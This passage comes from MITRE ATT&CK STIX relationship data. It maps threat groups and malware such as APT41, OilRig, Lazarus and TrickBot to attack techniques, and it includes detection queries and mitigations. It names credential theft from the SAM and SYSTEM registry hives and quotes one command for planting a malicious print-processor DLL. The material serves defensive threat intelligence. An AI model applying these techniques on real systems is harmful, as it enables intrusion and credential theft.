71d5b4802168"],"modified":"2024-10-04T19:18:37.056Z","description":"Monitor network traffic for uncommon data flows that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP).\n\nThe Remote Desktop Protocol (RDP), built in to Microsoft operating systems, allows a user to remotely log in to the desktop of another host. It allows for interactive access of the running windows, and forwards key presses, mouse clicks, etc. Network administrators, power users, and end-users may use RDP for day-to-day operations. From an adversary’s perspective, RDP provides a means to laterally move to a new host. Determining which RDP connections correspond to adversary activity can be a difficult problem in highly dynamic environments, but will be useful in identifying the scope of a compromise.\nRemote Desktop can be detected in several ways\n\n- Network connections to port 3389/tcp (assuming use of the default port)\n- Packet capture analysis\n- Detecting network connections from mstsc.exe\n- Execution of the process rdpclip.exe\n- Runs as the clipboard manager on the RDP target if clipboard sharing is enabled\n\nAnalytic 1 - Suspicious RDP\n\n sourcetype=netflow LogonType=\"10\"\n| search dest_port=3389 // Default RDP port\n| stats count by src_ip, dest_ip, dest_port\n| where src_ip!=\"trusted_ips\" AND dest_ip!=\"internal_servers\"\n","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4fd8f00b-2524-4c93-b49d-2f43cbe4aa5b","created":"2022-12-13T20:58:34.441Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-25T21:04:26.850Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) copied the `SAM` and `SYSTEM` Registry hives for credential harvesting.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fd99e09-2473-4bc1-92fd-6bf17bed8ee5","type":"relationship","created":"2021-03-17T20:35:08.459Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-17T20:35:08.459Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701","target_ref":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fde23ab-b8db-4275-ac37-37e608cb00b0","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"},{"url":"https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/","description":"Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.","source_name":"OilRig New Delivery Oct 2017"},{"description":"Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/","source_name":"Crowdstrike Helix Kitten Nov 2018"}],"modified":"2020-03-18T20:18:02.553Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used PowerShell scripts for execution, including use of a macro to run a PowerShell command to decode file contents.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig New Delivery Oct 2017)(Citation: Crowdstrike Helix Kitten Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4fdff650-7872-4991-9667-bbe9f88f8085","created":"2024-08-13T20:10:35.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T13:47:02.490Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors made multiple HTTP POST requests to the Exchange servers of the victim organization to transfer data.(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4fe3f0a3-1330-4b51-be17-b38a54b6e605","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:09.828Z","description":"(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4feaa82b-a356-4412-be2b-daa6ea6df82c","created":"2022-07-18T20:27:18.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-09T15:45:34.626Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) used the command `move [file path] c:\\windows\\system32\\spool\\prtprocs\\x64\\spool.dll` to move and register a malicious DLL name as a Windows print processor, which eventually was loaded by the Print Spooler service.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ff00908-ef82-45dc-bb71-bf1cea80063e","type":"relationship","created":"2020-03-15T15:34:30.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T22:44:12.148Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. ","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ff3969a-4992-43c0-b4dc-02a21f5c9b2b","type":"relationship","created":"2020-01-30T17:03:43.449Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-31T19:56:31.505Z","description":"Do not allow a user to be a local administrator for multiple systems.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ff492bf-f91d-445d-a29e-6e60c67a05c1","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:29:49.686Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses non-descriptive names to hide functionality.(Citation: S2 Grupo TrickBot June 2017)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ff8a2ad-2e69-4933-a5f4-201c891eef87","type":"relationship","created":"2021-03-05T18:54:56.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"Zscaler Higaisa 2020","url":"https://www.zscaler.com/blogs/security-research/return-higaisa-apt","description":"Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.767Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used malicious e-mail attachments to lure victims into executing LNK files.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ffcf69a-c7ef-46dc-add7-9093e454a67e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[MobileOrder](https://attack.mitre.org/software/S0079) exfiltrates data to its C2 server over the same protocol as C2 communications.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--463f68f1-5cde-4dc2-a831-68b73488f8f4","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ffd0780-b8ed-4b8f-b5b8-ff5b0afd4f1f","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.867Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can enumerate drives and their types. It can also change file permissions using cacls.exe.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4ffe2425-c971-45e5-9256-0b1a2bf63bbf","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"},{"source_name":"Microsoft DTC","description":"Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.","url":"https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:25:16.196Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) saves itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.(Citation: Cylance Dust Storm)(Citation: Microsoft DTC)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ffe77f2-8b05-40ff-b572-f7c0b9040571","type":"relationship","created":"2019-06-24T16:46:55.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"}],"modified":"2019-07-26T23:22:28.704Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can steal credentials from the victim's browser.(Citation: Unit42 Azorult Nov 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4ffef54e-be6b-40cf-9446-d886f298d79c","type":"relationship","created":"2021-09-02T16:04:48.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:09.662Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can decode its encoded PE file prior to execution.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50001cfb-68b5-423c-9c18-6c26f6daad3f","type":"relationship","created":"2020-07-16T15:24:32.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:24:32.826Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can capture keystrokes on a compromised host.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--500130c0-d049-4e67-9bcc-d60a5f6dfd4c","created":"2017-05-31T21:33:27.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"},{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Lazarus APT January 2022","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/"},{"source_name":"SentinelOne Lazarus macOS July 2020","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020.","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.705Z","description":"Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware enumerates logged-on users.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: Lazarus APT January 2022)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--500bb3d4-9c5e-4020-b173-1a83e5ce1c3c","created":"2023-01-20T18:45:18.238Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"},{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T19:05:55.085Z","description":"(Citation: Microsoft Prestige ransomware October 2022)(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--1da748a5-875d-4212-9222-b4c23ab861be","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--500c36bc-9f08-404c-9aa6-38680c529ced","created":"2021-01-07T20:40:41.530Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.580Z","description":"The [NETWIRE](https://attack.mitre.org/software/S0198) binary has been executed via PowerShell script.(Citation: FireEye NETWIRE March 2019)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--500c4228-b676-4f47-a391-9e52abd5ea51","type":"relationship","created":"2019-06-20T20:53:17.574Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2019-07-14T21:04:45.408Z","description":"[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can upload files from victim machines.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--500e5d85-cff1-44e8-869c-0c9ab24622c3","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--501000d2-04db-4f89-96fe-2eef2e46bc43","created":"2022-03-30T14:26:51.851Z","x_mitre_version":"0.1","external_references":[{"source_name":"Stopping CloudTrail from Sending Events to CloudWatch Logs","url":"https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html","description":"Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020."},{"source_name":"Configuring Data Access audit logs","url":"https://cloud.google.com/logging/docs/audit/configure-data-access","description":"Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020."},{"source_name":"az monitor diagnostic-settings","url":"https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete","description":"Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.","modified":"2022-04-14T16:12:31.731Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--ec0612c5-2644-4c50-bcac-82586974fedd","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5011498f-ddfd-44fb-8f1b-8b7e9a113a26","created":"2024-03-07T20:25:10.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"},{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et 